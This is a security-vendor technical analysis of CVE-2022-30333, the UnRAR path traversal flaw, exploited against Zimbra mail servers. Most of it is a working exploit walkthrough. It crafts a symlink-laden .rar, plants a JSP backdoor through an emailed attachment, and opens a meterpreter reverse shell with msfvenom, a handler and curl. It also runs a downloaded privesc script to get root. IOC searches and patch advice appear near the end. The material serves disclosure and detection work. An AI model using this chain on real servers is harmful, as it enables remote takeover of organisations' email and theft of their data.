Attacker Value
Very High
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2022-30333

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

RARLAB UnRAR before 6.12 on Linux and UNIX allows directory traversal to write to files during an extract (aka unpack) operation, as demonstrated by creating a ~/.ssh/authorized_keys file. NOTE: WinRAR and Android RAR are unaffected.

Add Assessment

3
Ratings
Technical Analysis

While we focused on Zimbra in our analysis, there are almost certainly other targets for this vulnerability that we are not aware of yet.

Exploiting this against Zimbra is really bad – it can be done fairly quietly and it doesn’t require direct access to the server, and can easily lead to root access to the server hosting users’ email. This is super urgent to patch on Zimbra!

General Information

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On May 6, 2022, Rarlab released version 6.12 (open source version 6.1.7), which addresses CVE-2022-30333, a path traversal vulnerability reported to them by Sonar, who posted a write-up about it. Sonar specifically calls out Zimbra Collaboration Suite’s usage of unrar as vulnerable (specifically, the amavisd component, which is used to inspect incoming emails for spam and malware). Zimbra addressed this issue in 9.0.0 patch 25 and 8.5.15 patch 32 by replacing unrar with 7z.

An attacker who successfully exploits this vulnerability can write a file anywhere on the target file system as the user that executes unrar (on Zimbra, that’s the zimbra user). On Zimbra, we successfully exploited this vulnerability for remote code execution. Note that the server doesn’t necessarily need to be internet-facing to be exploited, it simply needs to receive a malicious email.

While other services likely use vulnerable versions of unrar and should be patched, Zimbra is an especially good target because, as we’ll discuss below, a vulnerable host can be exploited by simply receiving an email (no user interaction). Additionally, Zimbra is quite popular (as of this writing, there are approximately 62,000 Internet-facing hosts from a quick Shodan query). And finally, an attacker who successfully gains access as the zimbra account can read all of an organization’s email.

Affected software

UnRAR 6.17 and earlier are affected, which is used by:

  • Zimbra 9.0.0 patch 24 and earlier
  • Zimbra 8.8.15 patch 31 and earlier
  • Possibly older versions

Because this is exploitable against Zimbra by only sending an email, and because Zimbra tends to be a goldmine of valuable data in most organizations that use it, Rapid7 believes that patching this vulnerability is critical, and that exploitation is very likely to occur.

Technical analysis

According to Sonar’s writeup, the core issue in CVE-2022-30333 is with how unrar handles symbolic links. Specifically, it validates that Linux symbolic links don’t contain path traversal characters using forward-slash characters (../), then converts Windows symbolic links (with backslash characters) to Linux. That is, it performs security checks before converting data. As a result, a malicious Windows symbolic link can bypass Linux’s protections and point to anywhere on the Linux filesystem. Let’s look at what that means!

Building a malicious .rar File

To generate a malicious .rar file, we use any version of WinRAR (on Windows) to compress a Windows symbolic link:

C:\Users\ron>mklink testlink "..\..\..\..\..\..\..\..\etc\passwd"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\etc\passwd

C:\Users\ron>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink

RAR 6.11 x64   Copyright (c) 1993-2022 Alexander Roshal   3 Mar 2022
[...]

Adding    testlink                                                    OK
Done

Then we copy the .rar file we created to a Linux host with a vulnerable version of unrar, and inspect it:

$ strings test.rar
Rar!
testlink
"../../../../../../../../etc/passwd

Even though it’s Windows, WinRAR encodes forward slashes, so we change them to backslashes with sed:

$ sed 's|\.\./|..\\|g' < test.rar > test-fixed.rar

$ strings test-fixed.rar
Rar!
testlink
"..\..\..\..\..\..\..\..\etc/passwd

Then unrar on Linux with a vulnerable version:

$ ../rar/unrar x ./test-fixed.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

[...]

Extracting from ./test-fixed.rar

Corrupt header is found
testlink - the file header is corrupt
Extracting  testlink                                                  OK
Total errors: 4

$ ls -l
total 2
-rw-r--r--. 1 ron games 110 Jul 15 10:06 test-fixed.rar
lrwxrwxrwx. 1 ron games  34 Jul 15 10:07 testlink -> ../../../../../../../../etc/passwd
-rwxrwxrwx. 1 ron games 110 Jul 15 10:02 test.rar

$ head -n1 testlink
root:x:0:0:root:/root:/bin/bash

Even though it prints errors, it still successfully extracts the link, and the link does indeed point outside the directory structure! We could fix those errors by recalculating the .rar file’s checksums, but since unrar doesn’t seem to mind the errors, this will work fine. The .rar implementation is also non-free, so distributing code to recalculate checksums might be problematic.

So that’s how to create a malicious symbolic link. But in the introduction to this article, we mentioned writing a file to the filesystem. How’s that work?

Writing a file to the filesystem

For the next part of our exploit, let’s look at how to write an arbitrary file to the filesystem!

First, we create and compress the symbolic link exactly like before, except this time we point it to a place where our user account can write to:

C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\tmp\akbdemo.txt"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\tmp\akbdemo.txt

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink
[...]

Then we create a second file, whose filename is the same length as the link but whose filename is different, then add that to the archive:

C:\Users\ron\Desktop>echo Hello, Internet! > evillink

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar evillink
[...]

We can inspect the archive to make sure we did it correctly:

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" v test.rar

RAR 6.11 x64   Copyright (c) 1993-2022 Alexander Roshal   3 Mar 2022
Trial version             Type 'rar -?' for help

Archive: test.rar
Details: RAR 5

 Attributes      Size    Packed Ratio    Date    Time   Checksum  Name
----------- ---------  -------- ----- ---------- -----  --------  ----
    ..A....         0         0   0%  2022-07-15 10:16  00000000  testlink
    ..A....        19        19 100%  2022-07-15 10:19  F5466516  evillink
----------- ---------  -------- ----- ---------- -----  --------  ----
                   19        19 100%                              2

Then, just like last time, we copy it over to Linux and fix the slashes. But this time, we also change the filename evillink to testlink in the archive. Our goal is to create a symlink called testlink by extracting the first file, then write to the symlink when we extract the second file. That means we need to store two files with the same name, which rar doesn’t let us do (if we try, the second file overwrites the first).

Here are the sed commands we used to reverse the slashes, change the filename, and then validate the files:

$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar

$ strings test-fixed.rar
Rar!
testlink
'..\..\..\..\..\..\..\..\tmp/akbdemo.txt4@
testlink
Hello, Internet!

Then we extract our malicious .rar file with a vulnerable version of unrar and confirm that it writes to /tmp/akbdemo.txt:

$ ../rar/unrar x test-fixed.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

[...]
Extracting  testlink                                                  OK
Corrupt header is found
testlink - the file header is corrupt
Extracting  testlink                                                  OK
Total errors: 6

$ ls -l
total 2
-rw-rw-r--. 1 ron games 175 Jul 15 10:23 test-fixed.rar
lrwxrwxrwx. 1 ron games  39 Jul 15 10:24 testlink -> ../../../../../../../../tmp/akbdemo.txt
-rwxrwxrwx. 1 ron games 175 Jul 15 10:20 test.rar

$ cat /tmp/akbdemo.txt
Hello, Internet!

And with that, we wrote an arbitrary file to an arbitrary location on the filesystem! But didn’t we mention that we could exploit Zimbra earlier?

Exploiting Zimbra

Zimbra is an all-in-one email solution that automatically configures a tool called Amavis to check incoming email messages for spam and (ironically) malware. Amavis is very configurable, but prior to patching, it used unrar to inspect .rar files:

ron@zimbra:~$ sudo cat /opt/zimbra/conf/amavisd.conf | grep \'rar\'
  ['rar',  \&do_unrar, ['unrar', 'rar'] ],
  ['exe',  \&do_executable, ['unrar','rar'], 'lha', ['unarj','arj'] ],

As of the most recent Zimbra patches, Amavis uses 7z instead.

Knowing that attached files will be UnRARed using unrar, we emailed the malicious .rar file we already built to any user on the server (we don’t have a real Zimbra system set up, so we emailed from one user on the server to another). Then we checked the /tmp folder on Zimbra, and, just like in our local tests, /tmp/akbdemo.txt is indeed created and owned by zimbra:

ron@zimbra:~$ ls -l /tmp/akbdemo.txt
-rw-r----- 1 zimbra zimbra 19 Jul 15 17:19 /tmp/akbdemo.txt
ron@zimbra:~$ sudo cat /tmp/akbdemo.txt
Hello, Internet!

The Amavis logs show the same unrar errors we saw earlier:

ron@zimbra:~$ sudo journalctl -t amavis | tail -n14
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) Checking: 9CcP4Rib32w2 ORIGINATING/MYNETS [10.0.0.154] <ron@zimbra.example.org> -> <admin@zimbra.example.org>
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) 5x162D0R55bZ(9CcP4Rib32w2) SEND from <admin@zimbra.example.org> -> <admin@zimbra.example.org>, ENVID=AM.5x162D0R55bZ.20220715T173346Z@zimbra.example.org 250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 754D8C11CB

Weaponizing this vulnerability is still somewhat difficult – we cannot overwrite a file, and the number of locations that the zimbra user can write is actually fairly limited. That being said, we did successfully weaponize it using a Metasploit payload. Let’s see how!

Weaponizing the payload

Now that we can write the file to the filesystem, we needed to find a way to plant a backdoor. Each exploit for this vulnerability will vary, but we will focus on a Zimbra installation in its default location.

The number of locations where we can write to Zimbra’s directory structure is limited, but we can enumerate them all with find command:

$ sudo -u zimbra find /opt/zimbra/ -type d -writable
/opt/zimbra/log
/opt/zimbra/logger
/opt/zimbra/logger/db
/opt/zimbra/logger/db/data
/opt/zimbra/logger/db/data/rrds
/opt/zimbra/logger/db/work
/opt/zimbra/docs
[...]

We tried to find places where we could write shellscripts, such as /etc/profile.d and other similar locations, but could not find one that is writable. We looked for Zimbra shellscripts that source other files, but no luck there, either. We looked at overwriting /opt/zimbra/.bashrc, but it turns out that this exploit cannot overwrite a file because of how unrar is called.

Fortunately (for exploit development), we determined that Zimbra’s web root is writable by the Zimbra user (/opt/zimbra/jetty_base/webapps/...), so we chose that as a target.

To create a payload, we use msfvenom and name the output file evillink (to match our earlier examples):

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o evillink

Then, on Windows, we create a symbolic link to where we want to drop the backdoor (the public server), along with our payload (be sure to compress the link before the backdoor, since we need to create the link before writing to it):

C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink evillink
[...]

Then, back on Linux, we fix the file exactly like last time and email it to any account on the Zimbra server:

$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar

<send test-fixed.rar as an email attachment>

Once it’s emailed, we can verify that the vulnerability successfully triggered and extracted the backdoor:

ron@zimbra:~$ ls -l /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp
-rw-r----- 1 zimbra zimbra 1922 Jul 15 17:48 /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp

Using msfconsole, we can fire up our handler:

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set LHOST 10.0.0.146
LHOST => 10.0.0.146

msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.146:4444

Then trigger the backdoor with curl:

$ curl -k 'https://10.0.0.154/public/backdoor.jsp'

Alternatively, if the server is intranet-only, send an email to any user on the server containing a link to the backdoor (this will inevitably require user interaction, unless the server globally allows images to be displayed):

<img src="https://10.0.0.154/public/backdoor">

-or-

<a href="https://10.0.0.154/public/backdoor">Click me!</a>

-or-

<a href="https://some-open-redictor/?url=https://10.0.0.154/public/backdoor">Click me!</a>

In any case, once the link is loaded, our payload triggers:

[...]
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Sending stage (3020772 bytes) to 10.0.0.154
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:42032) at 2022-07-15 10:56:46 -0700

meterpreter > getuid
Server username: zimbra

Automated exploit

Since generating a .rar file on Windows then copying it to Linux is a pain, we put together a tool that’ll generate a CVE-2022-30333 .rar file out of whole cloth. We used it with a Metasploit payload to exploit Zimbra using the following command:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar

Because the .rar file is proprietary, that file simply plays “fill-in-the-blank” and builds the .rar file out of pieces.

IOCs

How to detect exploitation attempts against CVE-2022-30333 will vary depending on how unrar is being used. Since we used Zimbra as a representative example of a vulnerable application, we will show IOCs for Zimbra.

IOCs for Zimbra

Our exploit writes a .jsp file to the web root; new or unusual files in any web directory on Zimbra should be considered suspicious (/opt/zimbra/jetty_base/webapps/**). An attacker could easily delete that to cover their tracks, however.

Because our proof of concept doesn’t fix the checksums, we can see a checksum error in the log:

ron@zimbra:~$ sudo journalctl | grep -i unrar | tail
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n

An exploit does not necessarily leave that evidence. If a user receives a suspicious .rar file, that could also indicate exploitation attempts; however, we also determined that the target user does not necessarily need to exist. Even non-delivered messages are scanned.

Scanned emails are temporarily written to /opt/zimbra/data/amavisd/tmp, which can be searched for suspicious .rar archives:

# fgrep -r 'application/x-rar' /opt/zimbra/data/amavisd/tmp/
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-103991-x9QRhIEC/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-65117-FMBPrQEV/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T175513-23049-oTr59qOe/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T180936-02718-xaYD1dfZ/email.txt:Content-Type: application/x-rar; name=test-fixed.rar

/opt/zimbra/log/trace_log.<date> appears to log received .rar files as well:

# fgrep -r '.rar'  /opt/zimbra/log
/opt/zimbra/log/trace_log.2022_07_14:17:46:30.107:qtp1381713434-18:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:46:42.585:qtp1381713434-218:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:14.298:qtp1381713434-267:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:16.073:qtp1381713434-281:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:52:42.029:qtp1381713434-292:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=270&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar

And finally, all messages are logged in /opt/zimbra/store, and can be searched for suspicious .rar files:

# fgrep -r 'application/x-rar' /opt/zimbra/store
/opt/zimbra/store/0/3/msg/0/341-473.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/319-417.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/303-352.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/315-407.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/270-122.msg:Content-Type: application/x-rar; name=test.rar
/opt/zimbra/store/0/3/msg/0/296-336.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/364-528.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/348-489.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/378-856.msg:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/store/0/3/msg/0/269-119.msg:Content-Type: application/x-rar; name=test.rar

Other than the syslog, all of those logfiles are owned by the zimbra user and can therefore be manipulated by attackers.

It’s also worth mentioning that the same version of Zimbra has a privilege escalation bug (a reminder to please use caution running random scripts off Github):

zimbra@zimbra:/tmp$ wget -q https://raw.githubusercontent.com/darrenmartyn/zimbra-slapper/main/slapper.sh

zimbra@zimbra:/tmp$ bash ./slapper.sh
~ slapper.sh - zimbra zmslapd local privesc exploit ~
[+] Setting up...
[+] Triggering our exploit...
[+] done!
[+] Cleaning up staged files...
[$] Pop root shell

# whoami
root

Guidance

Rapid7 recommends patching all Zimbra installations to the most recent branch. Blocking internet traffic to Zimbra servers makes exploitation more difficult, since exploits such as ours require a direct connection, but not impossible; an intranet browser could easily be tricked into making the request.

References

Changelog

  • 2022-07-19 – clarified the binary vs open-source unRAR versions